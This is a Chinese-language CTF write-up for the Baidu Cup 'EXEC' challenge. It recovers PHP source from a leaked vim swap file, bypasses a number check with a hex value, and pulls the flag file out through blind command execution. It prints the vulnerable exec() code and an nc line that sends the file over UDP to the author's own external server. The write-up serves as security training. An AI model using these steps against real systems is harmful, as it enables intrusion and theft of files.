"百度杯"CTF比賽 十月場——EXEC
進入網站頁面
檢視原始碼
發現了vim,可能是vim洩露,於是在url地址輸入了http://21b854b211034489a4ee1cb0d37b0212560fbf24f2e6468d.changame.ichunqiu.com/.index.php.swp
或者通過dirsearch工具掃描網站目錄也可以發現 /.index.php.swp
,也可以想到vim洩露
下載檔案
下一步就是通過 vim -r index.php.swp
恢復index.php,然後開啟
<html>
<head>
<title>blind cmd exec</title>
<meta language='utf-8' editor='vim'>
</head>
</body>
<img src=pic.gif>
<?php
/*
flag in flag233.php
*/
function check($number)
{
$one = ord('1');
$nine = ord('9');
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '11259375';
}
if(isset($_GET[sign])&& check($_GET[sign])){
setcookie('auth','tcp tunnel is forbidden!');
if(isset($_POST['cmd'])){
$command=$_POST[cmd];
$result=exec($command);
//echo $result;
}
}else{
die('no sign');
}
?>
</body>
</html>
這裡有一個check函式需要繞過,很明顯check函式就是把選手輸入的數字一個一個的判斷,檢視這些數字的ASCII碼是否在1-9的ASCII碼之間,如果符合則驗證失敗。如果check函式想最後返回返回true,則$number
需要等於'11259375',這裡可以使用十六進位制來繞過即可。
程式碼裡面的 setcookie('auth','tcp tunnel is forbidden!');
告訴我們TCP被禁止不能用curl,而且cmd命令執行之後也沒有回顯,但是前面的註釋告訴了我們flag檔案,我們可以直接用nc命令把flag檔案下過來,我們需要一臺有公網ip的伺服器。
在伺服器上執行
nc -lup 39999
然後再題目那裡用post方法 cmd=nc -u 你的ip地址 39999 < flag233.php
注:這裡我踩了個小坑,cmd=nc
我輸入成了 cmd = nc
,等於號兩邊不能有空格。
flag便傳到了伺服器上